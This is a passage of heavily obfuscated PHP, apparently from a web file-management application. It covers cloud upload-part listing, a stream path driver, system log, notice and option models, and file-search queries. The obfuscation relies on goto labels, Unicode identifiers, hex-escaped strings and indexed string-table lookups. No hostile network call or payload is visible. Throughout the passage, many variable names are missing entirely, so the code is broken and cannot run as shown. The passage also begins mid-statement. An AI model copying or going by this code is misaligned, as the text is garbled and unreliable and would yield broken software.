hash($[1370], $[12]); } } return array($[234] => $[$[234]], $[1458] => $, $[224] => $[$[1461]]); } return $[$[234]]; } public function listUploadParts($Ξ, $ʧ = array()) { $ゼ =& $_SERVER[]; $Ըʎ = str_replace($ゼ[235], $ゼ[12], $ʧ[$ゼ[174]]); $ͼ = $this->client->listParts($this->bucket, $Ξ, $Ըʎ); if (!$ͼ) { return !1; } $ڇߓ = $ゼ[1462]; foreach ($ͼ as $) { $ڇߓ .= $ゼ[1463] . "\x3c\120\141\x72\164\116\x75\155\142\145\x72\x3e{$[$ゼ[1417]]}\74\57\120\x61\162\164\x4e\x75\x6d\x62\x65\162\x3e\xa" . "\x3c\105\x54\x61\147\76{$[$ゼ[1418]]}\74\57\105\x54\141\147\76\12" . $ゼ[1464]; } $ڇߓ .= $ゼ[1465]; $Ѽ = array(); $ = explode($ゼ[184], $this->getHost()); $ = array($ゼ[1459] => $[1], $ゼ[215] => $ゼ[120], $ゼ[1372] => strlen($ڇߓ)); $ = $ゼ[226]; $ʔ = $ゼ[8] . $this->pathEncode($Ξ) . $ʧ[$ゼ[174]]; $ = $this->client->__getSignatureV4($Ѽ, $, $, $ʔ, $ڇߓ); return array($ゼ[234] => $[$ゼ[234]], $ゼ[224] => $[$ゼ[1461]], $ゼ[236] => $ͼ, $ゼ[1458] => $[$ゼ[1458]]); } public function link($Ֆ, $Ό = array()) { return parent::link($Ֆ, $Ό); } public function fileOut($ض, $뱬 = false, $ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][1466])) { return parent::fileOutServer($ض, $뱬, $, $); } parent::fileOut($ض, $뱬, $, $); } public function fileOutImage($, $ = 250) { if (strstr($this->endpoint, $_SERVER[][1466])) { return parent::fileOutImageServer($, $); } parent::fileOutImage($, $); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1339]) { $ = $[1340] . substr($, 7); } header($[161] . $); die; } public function getHost() { $̄ =& $_SERVER[]; $ނ = str_rtrim(parent::getHost(), $̄[8] . $this->bucket); $ނ = explode($̄[184], $ނ); return $ނ[0] . $̄[184] . $this->bucket . $̄[10] . $ނ[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ɕ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $ɕ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($؆ = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($݆ = false, $Ҵڏ = 0, $⼖ = 0) { if (!$⼖) { $⼖ = $this->sourceSize; } $ư = $this->sourceSize - $Ҵڏ; if ($⼖ >= $ư) { $⼖ = $ư; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $Ҵڏ, $⼖); } if ($this->sourceType == self::TYPE_FILE) { if ($⼖ <= 0) { return $_SERVER[][12]; } $Ç = ftell($this->source); fseek_64($this->source, $Ç + $Ҵڏ); $Ԍ = @fread($this->source, $⼖); fseek_64($this->source, $Ç); return $Ԍ; } } public function hashMd5($݀ = false) { return md5($this->getContent()); } public static function hash($, $ñ = 0) { $̺ߤՍ = new PathDriverStream($, $ñ); return $̺ߤՍ->hashSimple($); } public static function md5($, $ = 0) { $Ĉ = new PathDriverStream($, $); return $Ĉ->hashMd5($); } } goto a˃; bǔ: class SystemLogModel extends ModelBase { protected $tableName = "\163\x79\x73\x74\x65\x6d\x5f\154\x6f\147"; protected $dataAuto = array(array("\143\162\x65\x61\x74\x65\124\x69\x6d\145", "\164\x69\155\x65", "\151\x6e\163\x65\x72\164", "\146\165\156\143\x74\x69\157\x6e")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[]; return array($[2194] => LNG($[2195]), $[2196] => LNG($[2197]), $[1804] => LNG($[2198]), $[2199] => LNG($[2200]), $[2201] => LNG($[2202]), $[2203] => LNG($[2204]), $[2205] => LNG($[2206]), $[1834] => LNG($[2206]), $[1835] => LNG($[2207]), $[2208] => LNG($[2209]), $[2210] => LNG($[2211]), $[2212] => LNG($[2213]), $[2214] => LNG($[2215]), $[1832] => LNG($[2216]), $[2217] => LNG($[2218]), $[1839] => LNG($[2219]), $[2220] => LNG($[2221]), $[2222] => LNG($[2223]), $[2224] => LNG($[2225]), $[2226] => LNG($[2227]), $[1842] => LNG($[2228]), $[1843] => LNG($[2229]), $[2230] => LNG($[2231]), $[2232] => LNG($[2233]), $[2234] => LNG($[2235]), $[1837] => LNG($[2236]), $[2237] => LNG($[2238]), $[1836] => LNG($[2239]), $[2240] => LNG($[2241]), $[2242] => LNG($[2243]), $[2244] => LNG($[2245]), $[2246] => LNG($[2246]), $[2247] => LNG($[1808]), $[2248] => LNG($[2249]), $[2250] => LNG($[2251]), $[2252] => LNG($[2253]), $[2254] => LNG($[2255]), $[2256] => LNG($[2257]), $[2258] => LNG($[2258]), $[2259] => LNG($[2260]), $[2261] => LNG($[2262]), $[2263] => LNG($[2264]), $[2265] => LNG($[2266]), $[2267] => LNG($[2268]), $[2269] => LNG($[2270])); } private function typeFile() { $ =& $_SERVER[]; $蔽 = array($[1839] => array($[1840]), $[2212] => array($[2271]), $[2214] => array($[2272]), $[1832] => array($[1833]), $[2222] => array(), $[2224] => array(), $[2226] => array(), $[1842] => array($[1844]), $[1843] => array($[1844]), $[2230] => array($[2273]), $[2232] => array($[2273]), $[2234] => array($[2274]), $[2220] => array($[2275]), $[1837] => array($[2276]), $[2237] => array($[2277]), $[1836] => array($[1838])); return $蔽; } private function typeAll() { $肙 =& $_SERVER[]; $ԥ = $this->typeList; $Ҧ = array_filter($this->typeFile()); foreach ($Ҧ as $꼥ܛ => $긂) { $ԥ[$긂[0]] = $ԥ[$꼥ܛ]; } $ԥ[$肙[1844]] = LNG($肙[2278]); $ԥ[$肙[2273]] = LNG($肙[2279]); return $ԥ; } public function addLog($, $ = array()) { $Ǫ =& $_SERVER[]; if (!isset($this->typeList[$])) { return; } $Խ = USER_ID ? USER_ID : (isset($[$Ǫ[1670]]) ? $[$Ǫ[1670]] : 0); if (!$Խ) { $Խ = (int) Session::get($Ǫ[1998]); } if ($ == $Ǫ[2248] && is_array($[$Ǫ[2280]]) && !$[$Ǫ[2280]]) { return; } $٣ = get_client_ip(); if (!$ || strlen(json_encode($)) >= 1024) { $ = array($Ǫ[2281] => $٣); } else { if (is_array($)) { $[$Ǫ[2281]] = $٣; } else { $ = array($Ǫ[1204] => $, $Ǫ[2281] => $٣); } } $ = array($Ǫ[1660] => Session::sign(), $Ǫ[1661] => $Խ, $Ǫ[33] => $, $Ǫ[1663] => json_encode($)); parent::add($); } public function remove($) { $this->where(array($_SERVER[][419] => $))->delete(); } private function _makeOrder($ = '') { $栄 =& $_SERVER[]; $ = $栄[201]; $껺 = array($栄[450] => $栄[451], $栄[452] => $栄[453]); $˙ = Input::get($栄[458], $栄[7], $栄[2034], array($栄[1952], $栄[452])); $˙ = $껺[$˙]; $ = $ . "{$}\40{$˙}"; return $this->order($); } public function get($Đ = '') { $ =& $_SERVER[]; if (!$Đ) { show_json(array()); } $ː = array(); if ($Đ[$[1670]]) { $ː[$[1670]] = $Đ[$[1670]]; } if (isset($Đ[$[759]])) { $ = $Đ[$[759]]; $ = isset($Đ[$[760]]) ? $Đ[$[760]] : time(); $ː[$[201]] = array($[333], array($, $)); } if ($Đ[$[33]]) { $ = explode($[50], $Đ[$[33]]); $У = $this->typeFile(); $ϙ = array(); foreach ($ as $‟) { $ϙ[] = $‟; if (isset($У[$‟])) { $ϙ = array_merge($ϙ, $У[$‟]); } } $ϙ = array_unique($ϙ); if ($ϙ) { $ː[$[33]] = array($[7], $ϙ); } } else { $ː[$[33]] = array($[2282], $[2283]); } if (!empty($Đ[$[2281]])) { $ː[$[453]] = array($[383], "\x25{$Đ[$[2281]]}\45"); } $Ͱ = $this->_makeOrder()->where($ː)->selectPage(); if (empty($Ͱ[$[369]])) { show_json(array(), !0, $Ͱ[$[366]]); } $Ͱ[$[369]] = $this->logList($Ͱ[$[369]]); return $Ͱ; } private function ipAddress(&$ށ) { $ʨ =& $_SERVER[]; if (!empty($ށ[$ʨ[2281]])) { $Ӥ = IpLocation::get($ށ[$ʨ[2281]]); } else { $Ӥ = LNG($ʨ[2284]); } $ށ[$ʨ[2285]] = $Ӥ; } private function descZipDownload($, &$Ҙ) { $ =& $_SERVER[]; if (!isset($[$[2286]])) { return; } $ǭݧ = json_decode($[$[2286]], !0); foreach ($ǭݧ as $) { try { $ = IO::infoFull($[$[84]]); } catch (Exception $Ꙧ) { continue; } $[$[84]] = $[$[84]]; $Ҙ[] = $[$[402]] = $[$[402]]; $Ҙ[] = $[$[2088]] = $[$[432]]; break; } return $; } private function getSourceList(&$) { $ =& $_SERVER[]; $ڠ = array(); foreach ($ as $ق => $ܩކ) { $ԑ = json_decode($ܩކ[$[453]], !0); if ($ܩކ[$[33]] == $[1835]) { $ԑ = $this->descZipDownload($ԑ, $ڠ); $[$ق][$[453]] = json_encode($ԑ); continue; } if (strpos($ܩކ[$[33]], $[2090]) !== 0) { if (!isset($ԑ[$[84]]) || strpos($ܩކ[$[33]], $[2287]) !== 0) { continue; } try { $۪ = IO::infoFull($ԑ[$[84]]); } catch (Exception $؎) { continue; } $ڠ[] = $ԑ[$[402]] = $۪[$[402]]; $ڠ[] = $ԑ[$[2088]] = $۪[$[432]]; $[$ق][$[453]] = json_encode($ԑ); continue; } $ڠ[] = $ԑ[$[402]]; $ڠ[] = $ԑ[$[2088]]; if ($ԑ[$[33]] == $[548]) { $ڠ[] = $ԑ[$[453]][$[1162]]; $ڠ[] = $ԑ[$[453]][$[1163]]; } if ($ԑ[$[33]] == $[2098]) { $ڠ[] = $ԑ[$[453]][$[402]]; } } if (!$ڠ) { return array(); } return Model($[824])->sourceListInfo($ڠ, !0); } private function logList($턳) { $ܘ =& $_SERVER[]; $ܨ = array_to_keyvalue($턳, $ܘ[12], $ܘ[1670]); $Û = Model($ܘ[525])->userListInfo(array_unique($ܨ)); $Ș = $this->getSourceList($턳); $߳ = $this->typeAll(); $ = array(); $ = array(); foreach ($턳 as $ => $ʆ) { $Ē = $ʆ[$ܘ[33]]; $ď = isset($Û[$ʆ[$ܘ[1670]]]) ? $Û[$ʆ[$ܘ[1670]]] : !1; $ް = strpos($Ē, $ܘ[2288]) === 0 ? LNG($ܘ[2289]) : LNG($ܘ[2284]); $ʆ[$ܘ[32]] = isset($ď[$ܘ[32]]) ? $ď[$ܘ[32]] : LNG($ܘ[2284]); $ʆ[$ܘ[532]] = isset($ď[$ܘ[532]]) ? $ď[$ܘ[532]] : $ܘ[12]; $ʆ[$ܘ[1570]] = isset($߳[$Ē]) ? $߳[$Ē] : $ް; $ʆ[$ܘ[2033]] = $ď; $蓊溑 = json_decode($ʆ[$ܘ[453]], !0); $ʆ[$ܘ[2281]] = isset($蓊溑[$ܘ[2281]]) ? $蓊溑[$ܘ[2281]] : $ܘ[12]; $ʆ[$ܘ[2285]] = IpLocation::get($ʆ[$ܘ[2281]]); if (strpos($Ē, $ܘ[2090]) === 0 || isset($蓊溑[$ܘ[2088]])) { $蓊溑[$ܘ[87]] = $Ș[$蓊溑[$ܘ[402]]]; $蓊溑[$ܘ[2103]] = $Ș[$蓊溑[$ܘ[2088]]]; if ($蓊溑[$ܘ[33]] == $ܘ[548]) { $蓊溑[$ܘ[453]][$ܘ[1162]] = $Ș[$蓊溑[$ܘ[453]][$ܘ[1162]]]; $蓊溑[$ܘ[453]][$ܘ[1163]] = $Ș[$蓊溑[$ܘ[453]][$ܘ[1163]]]; } if ($蓊溑[$ܘ[33]] == $ܘ[2098]) { $蓊溑[$ܘ[453]][$ܘ[402]] = $Ș[$蓊溑[$ܘ[453]][$ܘ[402]]]; } if ($蓊溑[$ܘ[33]] == $ܘ[1830]) { $蓊溑[$ܘ[2103]] = $蓊溑[$ܘ[87]]; $蓊溑[$ܘ[2088]] = $蓊溑[$ܘ[2103]][$ܘ[402]]; $蓊溑[$ܘ[87]] = !1; $蓊溑[$ܘ[402]] = $ܘ[12]; } if ($蓊溑[$ܘ[87]] && $蓊溑[$ܘ[87]][$ܘ[411]] == $ܘ[1286]) { $[] = $ʆ[$ܘ[399]]; unset($턳[$]); continue; } if ($蓊溑[$ܘ[2103]] && $蓊溑[$ܘ[2103]][$ܘ[411]] == $ܘ[1286]) { $[] = $ʆ[$ܘ[399]]; unset($턳[$]); continue; } } $ʆ[$ܘ[453]] = $蓊溑; unset($ʆ[$ܘ[2290]]); $[] = $ʆ; } $this->clearSystemPathLog($); return $; } private function clearSystemPathLog($) { $ =& $_SERVER[]; if (count($) == 0) { return; } $ = array($[399] => array($[7], array_unique($))); $this->where($)->delete(); } public function deviceList($Ɉ, $Ձع = 0) { $ؗ =& $_SERVER[]; $Ҡ = array($ؗ[1670] => $Ɉ, $ؗ[201] => array($ؗ[1016], $Ձع), $ؗ[33] => $ؗ[1804]); $ = array(); $幑 = $this->field($ؗ[2291])->where($Ҡ)->order($ؗ[2101])->limit(50)->select(); foreach ($幑 as $ => $謙) { if ($ > 0 && abs($謙[$ؗ[201]] - $幑[$ - 1][$ؗ[201]]) < 5) { continue; } $ʼn = json_decode($謙[$ؗ[453]], !0); $謙[$ؗ[2281]] = isset($ʼn[$ؗ[2281]]) ? $ʼn[$ؗ[2281]] : $ؗ[12]; unset($ʼn[$ؗ[2281]]); $ = $this->deviceType($ʼn[$ؗ[2091]]); if (isset($[$])) { continue; } $謙[$ؗ[2285]] = IpLocation::get($謙[$ؗ[2281]]); $謙[$ؗ[453]] = $ʼn; $[$] = $謙; } return array_values($); } public function deviceType($Ȏ) { return $Ȏ; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\145\x6d\x2e\x6e\x6f\164\x69\x63\x65\114\151\163\x74"; public $field = array("\156\x61\155\x65", "\143\157\156\x74\145\x6e\x74", "\x61\165\164\150", "\155\157\x64\145", "\x74\x69\x6d\145", "\x74\x79\x70\x65", "\x6c\145\x76\145\x6c", "\x65\156\141\142\x6c\x65", "\x73\x6f\x72\x74"); public function listData($҅ = false, $ȧ = "\x73\157\x72\164", $֝ = false) { return parent::listData($҅, $ȧ, $֝); } public function add($Ϊ) { $ =& $_SERVER[]; $ = time(); if ($Ϊ[$[16]] == $[2292]) { $ = strtotime($Ϊ[$[180]]); } $Ϊ[$[180]] = $; return parent::insert($Ϊ); } public function update($, $ϰԚ) { $ =& $_SERVER[]; $ = $this->listData($); if (!$) { return !1; } $ = time(); if ($ϰԚ[$[16]] == $[2292]) { $ = strtotime($ϰԚ[$[180]]); } $ϰԚ[$[180]] = $; return parent::update($, $ϰԚ); } public function remove($) { $ȓ = $this->listData($); if (!$ȓ || $ȓ[$_SERVER[][1286]]) { return !1; } return parent::remove($); } public function sort($ָ, $ɱ) { return parent::update($ָ, $ɱ); } public function enable($, $) { return parent::update($, array($_SERVER[][2293] => $)); } private function initUserOption() { $ܵ =& $_SERVER[]; $this->optionType = $ܵ[2294]; $this->modelType = $ܵ[2295]; $this->field = array($ܵ[2296], $ܵ[32], $ܵ[180], $ܵ[33], $ܵ[2297], $ܵ[748], $ܵ[196]); } public function userNoticeGet($ȥ = false) { $this->initUserOption(); return parent::listData($ȥ, $_SERVER[][399], !0); } public function userNoticeAdd($) { $Ƒ =& $_SERVER[]; $this->initUserOption(); $ = $this->findByKey($Ƒ[2296], $[$Ƒ[399]]); if ($) { return !0; } $ = array($Ƒ[2296] => $[$Ƒ[399]], $Ƒ[32] => $[$Ƒ[32]], $Ƒ[180] => $[$Ƒ[180]], $Ƒ[33] => isset($[$Ƒ[33]]) ? $[$Ƒ[33]] : 1, $Ƒ[2297] => isset($[$Ƒ[2297]]) ? $[$Ƒ[2297]] : 0, $Ƒ[748] => 0, $Ƒ[196] => 0); return parent::insert($); } public function userNoticeEdit($, $) { $this->initUserOption(); return parent::update($, $); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\x79\x73\x74\x65\x6d\137\157\160\x74\151\x6f\x6e"; protected $jsonField = array("\x6d\145\156\x75", "\162\157\x6c\x65", "\x72\157\154\145\x47\162\157\x75\x70", "\162\x65\x67\151\163\x74", "\x65\x6d\141\151\154"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "\x53\x79\163\x74\x65\x6d\117\x70\164\151\157\156\x5f{$}"; } protected function optionDefault($ = '') { $ʹ =& $_SERVER[]; if ($ == $ʹ[12]) { return $GLOBALS[$ʹ[6]][$ʹ[381]]; } } } goto flj˙; ců: function binCheckBigger($ζΓ, $à) { return $ζΓ > $à; } $_SERVER[$_SERVER[ĭۣ][3]] = (base64_decode('ODE5Mg==')."\62\71")+0;$_pyqx="sdvq9omt07ixaypnzkc58ghuj34er6wb2fl1obkv90xuqaw6gfjthy2s14c83np7rzlmied";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($؞, $Ъ) { $ =& $_SERVER[]; if (isset(self::$_methodList[$؞])) { return @call_user_func_array(self::$_methodList[$؞], $Ъ); } else { if (method_exists($this, $؞)) { return call_user_func_array(array($this, $؞), $Ъ); } else { think_exception(__CLASS__ . $[4] . $؞ . $[5]); } } } public static function __callStatic($쟬, $) { if (isset(self::$_methodListStatic[$쟬])) { return call_user_func_array(self::$_methodListStatic[$쟬], $); } else { if (method_exists(self, $쟬)) { return call_user_func_array(array(self, $쟬), $); } else { show_json("{$쟬}\x28\51\40\156\x6f\x74\x20\x65\170\151\163\164\73", !1); } } } public static function addMethod($Ƅ, $м) { self::$_methodList[$Ƅ] = $м; } public static function addMethodStatic($, $) { self::$_methodListStatic[$] = $; } } goto Eծ; a: class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($讬) { $ِ =& $_SERVER[]; $̎ݓ = KodIO::fileTypeList(); $ = $̎ݓ[$讬]; if (!$) { return array(); } $鷗Lj = $[$ِ[174]]; $憩 = $ِ[7]; if (!$[$ِ[174]]) { $ߦ = array_to_keyvalue($̎ݓ, $ِ[12], $ِ[174]); $鷗Lj = implode($ِ[50], $ߦ); $憩 = $ِ[2116]; } $̯ = explode($ِ[50], trim($鷗Lj, $ِ[50])); return array($憩, $̯); } public function listPathType($) { $⬟ =& $_SERVER[]; $ = $this->fileTypeWhere($); if (!$) { return array(); } $鵱֨ = USER_ID; $ = Model($⬟[525])->getInfo($鵱֨); $ = array($⬟[576] => SourceModel::TYPE_USER, $⬟[511] => array($⬟[540], $⬟[521] . $[$⬟[87]][$⬟[402]] . $⬟[541]), $⬟[577] => $鵱֨, $⬟[574] => 0, $⬟[575] => $); return $this->listSource($); } public function listSearch($Ҷ, $Δ = 300) { $ =& $_SERVER[]; if (isset($Ҷ[$[1955]]) && $Ҷ[$[1955]]) { $Ҷ[$[1955]] = str_replace($[384], $[2117], trim($Ҷ[$[1955]])); } $ʫҁ = $this->_parseSearchWhere($Ҷ); if (!isset($ʫҁ[$[431]])) { $ʫҁ[$[431]] = 0; } $퉥ŧ = $[2118]; $ = $ʫҁ; $ = $퉥ŧ; $this->_listSearchBindPinyin($Ҷ, $ʫҁ, $퉥ŧ); $this->alias($[446])->_makeOrder(); $ʫҁ = $this->parseWhereLike($ʫҁ); $ = $this->distinct(!0)->field($퉥ŧ)->where($ʫҁ)->selectPage($Δ); if ($GLOBALS[$[6]][$[381]][$[382]] && Input::check($Ҷ[$[1955]], $[583]) && $[$[366]][$[353]] == 1 && $[$[366]][$[367]] == 0) { $ = $this->distinct(!0)->field($퉥ŧ)->where($)->limit(1000)->select(); $ = array_page_split($, !1, $Δ); } $this->_listSearchFileContent($, $Ҷ, $, $); $this->_listSearchDesc($, $Ҷ, $); $this->_listSearchTag($, $Ҷ, $); $this->_listSearchGroupTag($, $Ҷ, $); $this->_listDataApply($[$[369]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$鐅, $ܦ, $Ё, $Ƒ) { $ωڮ =& $_SERVER[]; if (!$ܦ[$ωڮ[1955]] || $鐅[$ωڮ[366]][$ωڮ[353]] > 1) { return; } if (!isset($Ƒ[$ωڮ[32]]) || !is_array($ܦ[$ωڮ[468]])) { return; } $Ƒ[$ωڮ[468]] = array($ωڮ[7], $ܦ[$ωڮ[468]]); unset($Ƒ[$ωڮ[32]]); unset($ܦ[$ωڮ[468]]); $ = $this->field($Ё)->where($Ƒ)->limit($ωڮ[2119])->select(); if (!$ || count($) == 0) { return; } $鐅[$ωڮ[369]] = array_merge($, $鐅[$ωڮ[369]]); $鐅[$ωڮ[366]][$ωڮ[367]] += count($); } private function _listSearchTag(&$ٌ, $, $) { $ĸת =& $_SERVER[]; if (!$[$ĸת[1955]] || $ٌ[$ĸת[366]][$ĸת[353]] > 1) { return; } $ = Model($ĸת[2120])->listData(); $۰ = array(); $ = $[$ĸת[1955]]; foreach ($ as $Ҡ) { $ʍ = $Ҡ[$ĸת[32]]; $ = str_replace($ĸת[53], $ĸת[12], Pinyin::get($ʍ)); if (stripos($ʍ, $) !== !1 || stripos($, $) !== !1) { $۰[] = $Ҡ[$ĸת[399]]; } } if (!$۰) { return; } $ = array($ĸת[426] => array($ĸת[7], $۰), $ĸת[1670] => USER_ID); $ӧ = Model($ĸת[428])->field($ĸת[84])->where($)->select(); $ӧ = array_to_keyvalue($ӧ, $ĸת[12], $ĸת[84]); $ŗ = array_unique($ӧ); $this->_listSearchMerge($ٌ, $, $, $ŗ); } private function _listSearchDesc(&$, $, $) { $ =& $_SERVER[]; if (!$[$[1955]] || $[$[366]][$[353]] > 1) { return; } $ = array($[94] => $[453], $[374] => array($[383], $[1957] . $[$[1955]] . $[1957])); $ʉ = !1; if ($ʉ) { $ڼ = $this->listSearchChildren($[$[432]]); $ڼ = array_unique($ڼ); if (!$ڼ) { return; } $[$[402]] = array($[7], $ڼ); } $ = Model($[560])->field($[402])->where($)->limit(5000)->select(); $ﮅ = array_to_keyvalue($, $[12], $[402]); $this->_listSearchMerge($, $, $, $ﮅ); } private function _listSearchGroupTag(&$, $, $) { $ =& $_SERVER[]; if (!$[$[1955]] || $[$[366]][$[353]] > 1 || !$[$[432]]) { return; } $ݼ = $this->sourceInfo($[$[432]]); if (!$ݼ || $ݼ[$[411]] != SourceModel::TYPE_GROUP) { return; } $ = $ݼ[$[496]]; $ă = Model($[2121])->get($); $ʩ = array(); $˪٧ = $[$[1955]]; foreach ($ă[$[369]] as $) { $Ѫ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($Ѫ)); if (stripos($Ѫ, $˪٧) !== !1 || stripos($, $˪٧) !== !1) { $ʩ[] = $[$[399]]; } } if (!$ʩ) { return; } $Ξ = array($[426] => array($[7], $ʩ), $[1670] => 0, $[33] => $[1977] . $); $ = Model($[428])->field($[84])->where($Ξ)->select(); $ = array_to_keyvalue($, $[12], $[84]); $慩Ɓ = array_unique($); $this->_listSearchMerge($, $, $, $慩Ɓ); } private function _listSearchMerge(&$, $Ҟ֩, $Ӗ, $Ԩ) { $턯 =& $_SERVER[]; if (!$Ԩ) { return; } $ɀ = array_to_keyvalue($[$턯[369]], $턯[12], $턯[402]); $σ = array_diff($Ԩ, $ɀ); if (!$σ) { return; } $Ǟ = array($턯[402] => array($턯[7], $σ)); $ٿ = $this->field($Ӗ)->where($Ǟ)->select(); if (!$ٿ) { return; } $ = array(); foreach ($ٿ as $ĸ) { if ($this->_listSearchFilter($ĸ, $Ҟ֩)) { $[] = $ĸ; } } $[$턯[369]] = array_merge($, $[$턯[369]]); $[$턯[366]][$턯[367]] += count($); } private function _listSearchFilter($, $) { $ =& $_SERVER[]; $ = $[$[410]] == $[88]; if (!strstr($[$[511]], $[50] . $[$[432]] . $[50])) { return !1; } if (isset($[$[412]]) && $[$[412]] != $[1916]) { if ($[$[412]] == $[75] && !$) { return !1; } if ($[$[412]] != $[75] && $) { return !1; } if (!strstr($[$[174]], $[50] . $[$[412]] . $[50])) { return !1; } } if (isset($[$[2122]]) && $[$[2122]] < $[$[76]]) { return !1; } if (isset($[$[2123]]) && $[$[2123]] > $[$[76]]) { return !1; } if (isset($[$[590]]) && $[$[590]] != $[$[456]]) { return !1; } return !0; } public function listSearchChildren($ʹЦ, $ = 5000) { $݄ɣ =& $_SERVER[]; $ُ = array(); $ = $this->sourceInfo($ʹЦ); $ = array($݄ɣ[511] => array($݄ɣ[383], $[$݄ɣ[511]] . $[$݄ɣ[402]] . $݄ɣ[541])); $Ň = $this->field($݄ɣ[76])->where($)->limit($ + 1)->select(); $ = is_array($Ň) ? count($Ň) : 0; if ($ > $) { return $this->_listSearchChildrenNear($ʹЦ, $); } $ԏ = $this->field($݄ɣ[402])->where($)->select(); $ُ = array_to_keyvalue($ԏ, $݄ɣ[12], $݄ɣ[402]); return $ُ; } private function _listSearchChildrenNear($Ɋ䡇, $µ) { $ҥ҉ =& $_SERVER[]; $夔 = array(); $ʚ = array($ҥ҉[432] => $Ɋ䡇); $׳ǭ = $this->field($ҥ҉[2124])->where($ʚ)->select(); $֖Ň = array_to_keyvalue(array_filter_by_field($׳ǭ, $ҥ҉[410], $ҥ҉[88]), $ҥ҉[12], $ҥ҉[402]); $夔 = array_merge($夔, array_to_keyvalue($׳ǭ, $ҥ҉[12], $ҥ҉[402])); if (!$֖Ň) { return $夔; } $ʚ = array($ҥ҉[432] => array($ҥ҉[7], $֖Ň)); $׳ǭ = $this->field($ҥ҉[2124])->where($ʚ)->limit($µ)->select(); $夔 = array_merge($夔, array_to_keyvalue($׳ǭ, $ҥ҉[12], $ҥ҉[402])); $夔 = array_slice($夔, 0, $µ); return $夔; } private function _listSearchBindPinyin($, &$ٖ, &$) { $ї =& $_SERVER[]; if (!isset($[$ї[1955]]) || !$[$ї[1955]]) { return; } if (!Input::check($[$ї[1955]], $ї[318]) || strlen($[$ї[1955]]) < 2) { return; } $ = "\x4c\x45\106\x54\40\x4a\117\x49\116\x20{$this->tablePrefix}\151\x6f\137\x73\x6f\x75\x72\143\x65\137\155\x65\164\141\40\155\145\x74\x61\x20\157\156\x20\163\x6f\x75\x72\x63\x65\x2e\163\x6f\x75\162\143\x65\111\x44\40\75\x20\155\x65\164\141\x2e\x73\x6f\165\162\x63\x65\x49\x44"; $Ή = array(); $ = str_replace(array($ї[231], $ї[53], $ї[2125]), $ї[12], $); $ = $ї[438] . str_replace($ї[50], $ї[439], $); $ = $ٖ[$ї[32]]; unset($ٖ[$ї[32]]); foreach ($ٖ as $ֻ => $װ) { $Ή[$ї[438] . $ֻ] = $װ; } foreach ($ as $ç) { $Ή[] = array($ї[443] => $ç, $ї[1002] => $ї[1959], array($ї[2126] => $ç, $ї[2127] => array($ї[7], array($ї[465], $ї[464])))); } $this->join($); $ٖ = $Ή; } private function _parseSearchWhere($) { $Ӌ =& $_SERVER[]; $֓ = array(); if (isset($[$Ӌ[759]]) && $[$Ӌ[759]]) { $֓[$Ӌ[85]] = array($Ӌ[2128], $[$Ӌ[759]]); } if (isset($[$Ӌ[760]]) && $[$Ӌ[760]]) { $ܲ = array($Ӌ[2129], $[$Ӌ[760]]); if ($֓[$Ӌ[85]]) { $֓[$Ӌ[85]] = array($֓[$Ӌ[85]], $ܲ, $Ӌ[2130]); } else { $֓[$Ӌ[85]] = $ܲ; } } if (isset($[$Ӌ[2122]]) && $[$Ӌ[2122]] > 0) { $֓[$Ӌ[76]] = array($Ӌ[2128], $[$Ӌ[2122]]); } if (isset($[$Ӌ[2123]]) && $[$Ӌ[2123]]) { $ܲ = array($Ӌ[2129], $[$Ӌ[2123]]); if ($֓[$Ӌ[76]]) { $֓[$Ӌ[76]] = array($֓[$Ӌ[76]], $ܲ, $Ӌ[2130]); } else { $֓[$Ӌ[76]] = $ܲ; } } if (isset($[$Ӌ[590]]) && $[$Ӌ[590]]) { $֓[] = array($Ӌ[456] => $[$Ӌ[590]], $Ӌ[454] => $[$Ӌ[590]], $Ӌ[1002] => $Ӌ[1959]); } if (isset($[$Ӌ[412]]) && $[$Ӌ[412]]) { $ = $[$Ӌ[412]]; if ($ == $Ӌ[75]) { $֓[$Ӌ[410]] = 1; } else { if ($ == $Ӌ[2131]) { $֓[$Ӌ[410]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($Ӌ[50], $); $֓[$Ӌ[412]] = array($Ӌ[418], $); $֓[$Ӌ[410]] = 0; } } } } $this->_parseSearchParent($, $֓); if (isset($[$Ӌ[1955]]) && trim($[$Ӌ[1955]])) { $ = trim($[$Ӌ[1955]]); $ϥ = explode($Ӌ[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $Ӌ[118] && substr($, -1) == $Ӌ[118]) || substr($, 0, 1) == $Ӌ[58] && substr($, -1) == $Ӌ[58]) { $ = substr($, 1, -1); $ϥ = array($); } $֓[$Ӌ[32]] = array(array($Ӌ[540], $Ӌ[1957] . $ . $Ӌ[1957])); if (count($ϥ) > 1) { $֓[$Ӌ[32]] = array(); foreach ($ϥ as $) { if (!trim($)) { continue; } $֓[$Ӌ[32]][] = array($Ӌ[540], $Ӌ[1957] . trim($) . $Ӌ[1957]); } } } return $֓; } private function _parseSearchParent($, &$О) { $ʹ =& $_SERVER[]; if (!isset($[$ʹ[432]]) || !$[$ʹ[432]]) { return; } $հ = $this->pathInfo($[$ʹ[432]]); $ = $հ[$ʹ[432]] . $ʹ[12] === $ʹ[198]; $𝑎 = $հ[$ʹ[411]] == $ʹ[505]; if ($հ[$ʹ[522]] == $ʹ[523]) { $۳뷽 = $this->sourceInfo($[$ʹ[432]]); $հ[$ʹ[511]] = $۳뷽[$ʹ[511]]; } $О[$ʹ[580]] = array($ʹ[540], $հ[$ʹ[511]] . 